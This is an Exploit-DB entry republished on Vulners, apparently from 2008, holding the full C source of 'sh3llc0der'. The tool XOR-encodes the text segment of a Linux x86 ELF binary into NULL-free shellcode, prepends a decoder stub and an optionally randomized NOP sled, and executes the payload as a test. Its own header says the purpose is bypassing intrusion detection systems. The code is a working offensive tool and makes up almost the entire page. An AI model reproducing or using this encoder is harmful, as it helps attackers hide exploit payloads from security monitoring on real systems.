Lucene search
K

linux x86 shellcode obfuscator

🗓️ 09 Dec 2008 00:00:00Reported by sm4xType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

linux x86 shellcode obfuscator sm4x0rcist - 2008 sh3llc0der.c v0.1 beta shellcode encrypto

Code
/*
*       sm4x - 2008 => sm4x0rcist [a7] gmail [d07] com
*       - sh3llc0der.c v0.1 (beta)
*       - (elf binary) shellcode encryptor, NULL free for IDS payload bypassing
*       - key is a simple int for x(x(p)) decryption(encryption(p)) (modify to add/subtract if needed)
*       - if you find bugs i dont wanna know -> fix them and its urs    
*       - watch for 0x0a, 0x0d warnings for \r\n as they get mucked in most str** calls
*
*       nb: nasm ur files with -felf, then ld -o them (u know)
*       usage: ./sh3llc0der [options] binaryfile
*       - output is a encoded byte array (or raw binary if -o <file> is specified)
*       - it was easier for me to write it directly hooking to the elf struct -> but you can change it (only took 3 hours so ITS BUGGY!)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <linux/elf.h>

char decoder[] = "\xeb\x10\x5e\x31\xc9"
                                 "\xb1\x00\x80\x74\x0e" // \x00 location of payload size
                                 "\xff\x00\xfe\xc9\x75" // \x00 location of xor key
                                 "\xf7\xeb\x05\xe8\xeb"
                                 "\xff\xff\xff";

int getkey(int i) {
        int seed;
        struct timeval tm;
        gettimeofday(&tm, NULL);
        seed = tm.tv_sec + tm.tv_usec; srandom(seed);
        return (random() % i) +1;
}

void usage() {
        printf("Usage: sh3llc0der [options] shellcode\n");
        printf("\tv - verbose\n");
        printf("\to [outfile] - out file (stdout is default)\n");
        printf("\tn [size] - generate with NOP sled of size length (minus decoder)\n");
        printf("\tr     - randomize NOP sled with other operations\n");
        printf("\t? - this crud\n");
}

int main(int argc, char **argv) {
        Elf32_Ehdr elfhdr; Elf32_Phdr dataseg; Elf32_Phdr txtseg;

        int found_txt_seg = 0;  int i = 0; int r = 0; int len = 0; int key = 0; 
        int include_noop_instructions = 0; int noop_length = 0; int use_nop_randomization = 0;
        int write_file = 0;  int is_verbose = 0;
        unsigned char c; unsigned char *b = NULL; unsigned char *nb = NULL;
        char *upayload = NULL; char *outfile = NULL;
        unsigned int payload_offset = 0; unsigned int payload_size = 0;
        int (*func)();

        opterr = 0; int option = 1;
        while((option = getopt(argc, argv, "vrn:o:?")) != -1 ) {
                switch(option) {
                        case 'v':
                                is_verbose = 1;
                        break;
                        case 'o':
                                write_file = 1;
                                outfile = optarg;
                                if(outfile != NULL) { printf("[+] writing shellcode to: %s\n", outfile); } 
                        break;
                        case 'n':
                                if(optarg != NULL) noop_length = atoi(optarg); else break;
                                include_noop_instructions = 1;
                        break;
                        case 'r':
                                use_nop_randomization = 1;
                        break;
                        case '?':
                                usage(); exit(0);
                        break;
                        default:
                                // nothing
                        break;
                };
        }

        if(argc < 2) { usage(); exit(0); }
        printf("[+] sh3llc0der - sm4x 2008\n");
                
        upayload = argv[argc-1]; if(upayload == outfile) { printf("[-] ummm no\n"); usage(); exit(-1); }

        if(is_verbose) { printf("[?] opening %s\n", upayload); }
        FILE *p = fopen(upayload, "rb");
        if(p == NULL) { printf("[-] null file - nice try\n"); exit(-1); }
        
        fseek(p, 0, SEEK_END);
        len = ftell(p); rewind(p);
        if(len <= 0) { printf("[-] 0 len file - nice try\n"); exit(-1); }
        
        /* adjust our noop length for the decoder size */
        
		if(include_noop_instructions && noop_length > sizeof(decoder)) { noop_length -= sizeof(decoder); }
        printf("[+] shellcode length: %d Bytes\n", len);

        b = (char *) malloc(sizeof(char)*len);
        if(b == NULL) { printf("[-] unable to buffer shellcode - nice try again!\n"); exit(-1); }

        if(is_verbose) { printf("[?] reading %s....\n", upayload); }
        r = fread(b, 1, len, p);
        if(r != len) { printf("[-] **warning** - unable to load the entire file into buffer!\n"); }
        fclose(p); p = NULL;
        if(is_verbose) { printf("[?] file %s seems ok with %d size\n", upayload, len); }

        /* get our ELF header out of the binary */
        memcpy(&elfhdr, (void *)b, sizeof(Elf32_Ehdr));

        printf("[+] Starting address: 0x%x\n", elfhdr.e_entry);
        /* seek to our offset */
        printf("[+] Offset @ 0x%x\n", elfhdr.e_phoff);

        /* loop for seg offset (you're gonna crash here if its not a proper elf binary -> don't really care!! lol) */
        for(i = 0;i < elfhdr.e_phnum; i++) {
                /* copy in our txtseg what we think* to be the appropriate header (p_offset == 0 means text) */
                memcpy(&txtseg, &b[(sizeof(Elf32_Ehdr)) + (i * sizeof(Elf32_Phdr))], sizeof(Elf32_Phdr));
                if(txtseg.p_filesz > 0 && txtseg.p_offset == 0) { 
                        printf("[+] .text segment found, len: 0x%x|0x%x @ V:0x%x P:0x%x off: 0x%x\n", 
                                txtseg.p_filesz, txtseg.p_memsz, txtseg.p_vaddr, txtseg.p_vaddr, txtseg.p_offset);
                        found_txt_seg  = 1; break;
                } else {
                        found_txt_seg = 0;      
                }
        } if(!found_txt_seg) { printf("[-] could not find .text segment for encoding!\n"); exit(-1); }

        /* calculations for start of .text with offset (usually 0) */
        payload_size = (txtseg.p_vaddr + txtseg.p_filesz) - elfhdr.e_entry;
    payload_offset = (txtseg.p_offset + txtseg.p_filesz) - payload_size;        

        printf("[+] calc offset: 0x%x | 0x%x -> (SHELLCODE SIZE: %d Bytes)\n", payload_offset, payload_size, payload_size);

        int new_payload_size = noop_length+payload_size+sizeof(decoder)-1;

        nb = (char *) malloc(sizeof(char) * new_payload_size); 
        if(nb == NULL) { printf("[-] error creating copy payload - nice try\n"); exit(-1); }
        memset(nb, 0x0, sizeof(char) * new_payload_size); // just in case - clean it out

        // ensure we have a NULL free xor'd shellcode -> keep trying until we do 
        int is_null = 0; int warn = 0; int attempts = 0;
        while(1) {
                if(attempts > 20) { printf("[-] somthing is very wrong!! please check the binary\n"); exit(-1); }
                key = getkey(255); 
                for(i = 0; i < payload_size; i++) {
                        c = b[payload_offset+i]; c ^= key;
                        if(c == 0x00) { printf("[!] ERR: 0x%x on key: %d\n",  b[payload_offset+i], key);   is_null = 1; break; }
                        if(c == 0x0a || c == 0x0d) { printf("[!] WARN: 0x%x on key: %d\n",  b[payload_offset+i], key);  warn =1; }
                } attempts++; 
                if(is_null) { printf("[-] NULL found.. regenerating now... try=%d\n", attempts); is_null = 0; usleep(100); continue; }
        
                if(warn) { printf("[!] WARN: invalid hex was found in this shellcode -> this may* not pass some string functions!\n"); }
                if(is_verbose) { printf("[?] running xor-enc on payload now (key=%d @ %x attempts)...\n", key, attempts); }

                /* fill our new buffer -nb*/
                for(i = 0; i < payload_size; i++) {
                        nb[noop_length+sizeof(decoder)-1+i] = b[payload_offset+i];
                        if(is_verbose) { printf("\\x%.2x", b[payload_offset+i]); }
                        nb[noop_length+sizeof(decoder)-1+i] ^= key;
                } break;
        } if(is_verbose) { printf("\n"); }
        if(!warn) { printf("[+] done xor-enc on payload (NULL FREE)...\n"); } else { printf("[!] (check warnings!!) some problems with xor-enc (NULL FREE)...\n"); }

        for(i = 0; i < noop_length+payload_size-1; i++) printf("\\x%.2x", nb[sizeof(decoder)+i]); 

        /* we need to set our primary instructions to decode with xor */
        decoder[6] = payload_size; decoder[11] = key;

        printf("\n");
        if(include_noop_instructions) {
                printf("[+] prepending %d (%d = minus decoder len) NOOPs...\n", noop_length+sizeof(decoder), noop_length);
                // minus the decoder size 
                if(use_nop_randomization) {
                        for(i = 0; i < noop_length; i++) {
                                int p = getkey(5); 
                                // hardly random - but change to modify the primary sled sig
                                switch((int)p) {
                                        case 1: nb[i] = 0x90; break; 
                                        case 2: nb[i] = 0x40; nb[i+1] = 0x48; i++; break; 
                                        case 3: nb[i] = 0x50; break;
                                        case 4: nb[i] = 0x58; break;
                                        case 5: nb[i] = 0x99; break;
                                        default: nb[i] = 0x90; break;
                                };
                        }
                } else {
                        for(i = 0; i < noop_length; i++) nb[i] = 0x90;
                }
        }

        printf("[+] adding decoder of %d Bytes (total= %d Bytes)...\n", sizeof(decoder), sizeof(decoder)+payload_size);
        memcpy(nb+noop_length, decoder, sizeof(decoder)-1);
        for(i = 0; i < noop_length+payload_size+sizeof(decoder)-1; i++) printf("\\x%.2x", nb[i]); 
        printf("\n");

        if(write_file) {
                printf("[+] writing payload to: %s\n", outfile);
                FILE *w = fopen(outfile, "wb");
                if(w == NULL) { printf("[-] Unable to open file: %s\n", outfile); goto continue_test; }
                int bytes = fprintf(w, nb, sizeof(decoder)+payload_size, 0);
                fclose(w);
                printf("[+] done %d written.\n", bytes);
        }

        continue_test:
        printf("[+] testing payload now ...\n");
        printf("[-] if shellcode tests bad something has gone horribly wrong - do NOT continue with payload...\n");

        /* if this mashes out ie: seg fault -> then DO NOT use the shellcode on an exploit -> ur gonna crash the shit */
        func = (int (*)()) nb;
        (int)(*func)();

        // should never get here really

        cleanup:
                if(p != NULL) fclose(p); 
        return 0;
}

// milw0rm.com [2008-12-09]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation